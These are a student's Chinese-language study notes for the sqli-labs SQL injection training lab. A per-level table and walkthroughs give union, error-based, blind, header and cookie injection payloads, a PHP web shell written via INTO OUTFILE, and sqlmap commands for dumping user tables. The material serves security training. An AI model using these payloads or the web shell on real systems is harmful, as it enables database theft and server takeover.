2025暑期实训sql练习
Page1:
Less | 注入类型 / 传参方式 | 闭合方式 | 推荐 payload 片段(仅示范核心) | 备注 |
---|---|---|---|---|
1 | GET / 字符型 / 回显 | ' | -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ | 三步走:order by → union → 爆数据 |
2 | GET / 数字型 / 回显 | 无 | -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ | 与 Less-1 相同,只是去掉引号 |
3 | GET / 字符+括号 | ') | -1') union select 1,2,3 --+ | 报错会提示 ') |
4 | GET / 双引号+括号 | ") | -1") union select 1,2,3 --+ | 与 3 同理,仅符号不同 |
5 | GET / 字符型 / 报错 | ' | 1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ | 无回显位,用报错函数 |
6 | GET / 双引号 / 报错 | " | 1" and updatexml(1,concat(0x7e,database(),0x7e),1) --+ | 把 5 的单引号改成双引号 |
7 | GET / 字符+双括号 | ')) | 1')) union select 1,'<?php @eval($_POST[x]); ?>',3 into outfile '/var/www/html/shell.php' --+ | 需要写文件权限,路径按环境改 |
8 | GET / 字符盲注 | ' | 1' and if(substr(database(),1,1)='s',sleep(3),0) --+ | 无回显、无报错 → 布尔/时间盲注 |
9 | GET / 字符时间盲注 | ' | 1' and if(length(database())>5,sleep(3),0) --+ | 与 8 类似,纯时间盲注 |
10 | GET / 双引号时间盲注 | " | 1" and if(length(database())>5,sleep(3),0) --+ | 把 9 的单引号换成双引号 |
11 | POST / 字符型 | ' | uname=1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #&passwd=任意 | Burp 或 HackBar 放包 |
12 | POST / 双引号+括号 | ") | uname=1") union select 1,database() #&passwd=任意 | 报错提示 ") |
13 | POST / 字符+括号 / 报错 | ') | uname=admin') and extractvalue(1,concat(0x7e,database())) #&passwd=任意 | 登录框,但无回显位,用报错 |
14 | POST / 双引号 / 报错 | " | uname=admin" and extractvalue(1,concat(0x7e,database())) #&passwd=任意 | 与 13 同理,仅符号差异 |
15 | POST / 时间盲注 | ' | uname=admin' and if(length(database())=8,sleep(3),0) #&passwd=任意 | 无任何回显,只能时间盲注 |
16 | POST / 时间盲注 | ") | uname=admin") and if(length(database())=8,sleep(3),0) #&passwd=任意 | 15 的括号+双引号版本 |
17 | POST / 修改密码 / 报错 | ' | passwd=1' and updatexml(1,concat(0x7e,database()),1) #&uname=admin | 注入点在 passwd 字段 |
18 | POST / UA 头 / 报错 | ',1,updatexml(...))# | 抓包后在 User-Agent 末尾插入:',updatexml(1,concat(0x7e,database()),1),1) # | 需先正确登录一次再重放包 |
19 | POST / Referer / 报错 | ' and extractvalue(...)--+ | 抓包后在 Referer 头插入:' and extractvalue(1,concat(0x7e,database()))--+ | 同样先登录再重放 |
20 | POST / Cookie / 联合 | 无 | 抓包后在 Cookie: uname= 后写:-1' union select 1,database(),3--+ | 登录成功后刷新页面修改 Cookie |
21 | POST / Cookie / base64 | ') | 同 20,但 Cookie 值需 base64;payload:') union select 1,database(),3--+ 再整体 base64 | 注意先编码再替换 Cookie |
22 | POST / Cookie / base64 | " | 同 21,仅把 ') 换成 " 并 base64 | 按报错提示快速换符号 |
三条万能技巧
- 先找闭合符:在参数后加
'
,"
,)
,')
,")
,'))
,"))
看报错信息,确定闭合方式。 - 再看回显位:
order by n
确定列数后,union select 1,2,3…
找出哪个数字回显在页面。 - 无回显就报错或盲注:
- 报错:
updatexml
、extractvalue
、floor(rand(0)*2)
。 - 盲注:
if(expr,sleep(n),0)
或布尔逻辑。
- 报错:
Less1:字符型注入
数字型和字符型注入的区别:
1 |
|
Less2:数字型注入
亮哥:完成数字型注入Lab2,获取user表
确认存在注入点。
确定显示位,修改id=-1让前半段sql语句查询失败,执行后边语句,确认回显位置
确认列数:
爆出库名
查出了系统表,还需要指定table_schema,过滤出目标库的表名
查出的系统表:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TAB
http://sqlilab/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=”security”%23
查出目标数据库的所有表名
查出目标数据库的所有列名
过滤出目标users表的列名
获取结果
总结:
对目标库,表,列名的查询大多是围绕系统库information_schema的tables,columns表来进行查询
需要了解这个两个表的结构(列名,如何根据列名内容过滤)
UpdateXML函数
UPDATEXML函数是MySQL中的一个功能强大的工具,它允许用户更新XML文档中的节点值。
函数原型:
updatexml(xml_document,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string(Xpath格式的字符串)
第三个参数:new_value,String格式,替换找到的符合条件的数据
updateXML() 本身不会返回数据,但通过构造非法 XPath 表达式触发报错,就能把 SQL 查询结果“带”出来,这就是报错注入的核心原理。
Less7:
http://sqlilab/Less-7/?id=1‘)) union select 1–+
后边的语句报错,但是没有报错信息。尝试能否导出文件。
在此之前需要检查是否有写文件权限,路径是什么?
检查路径
MYSQL约定了一些系统变量共查询使用。
C:\phpEnv\server\mysql\mysql-5.7\data\
读写权限
id=1’)) and (select count(*) from mysql.user)>0 –+ 如果返回正常则有读取权限
写入php木马
http://sql/Less-7/?id=1‘)) union select 1,’‘,3 into outfile ‘C:\Users\Administrator\Desktop\sqli-labs\Less-7\shell1.php’–+
Less-8:
无报错,无回显。
布尔盲注:
需要对字符串逐个判断
http://sql/Less-8?id=1'and ascii(substr((select database()),1,1))=115–+
由此爆出库名:
由此爆出表名:
找出列名(第五列第一个字符u=>users)
sqlmap:
sqlmap -u “http://sql/Less-8/?id=1“ -dbs
sqlmap -u “http://sql/Less-8/?id=1“ -D security –tables
sqlmap -u “http://sql/Less-8/?id=1“ -D security -T users –columns
sqlmap -u “http://sql/Less-8/?id=1“ -D security -T users –dump
Less-9:
无报错、无数据、无差异页面
http://sql/Less-9?id=1‘ and sleep(3) –+
出现延时等待=>时间盲注
http://sql/Less-9?id=1'and if(substr(database(),1,1)=’s’,sleep(3),0) –+
工具验证:
sqlmap -u “http://sql/Less-8/?id=1“ –technique=T –batch
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1’ AND (SELECT 5279 FROM (SELECT(SLEEP(5)))WRmS) AND ‘rvOM’=’rvOM
sqlmap:
要加–batch,要加–current-db,–threads要指定1
$ sqlmap -u “http://sql/Less-10?id=1“ –technique=T –current-db –batch –threads=1
Less11:
POST注入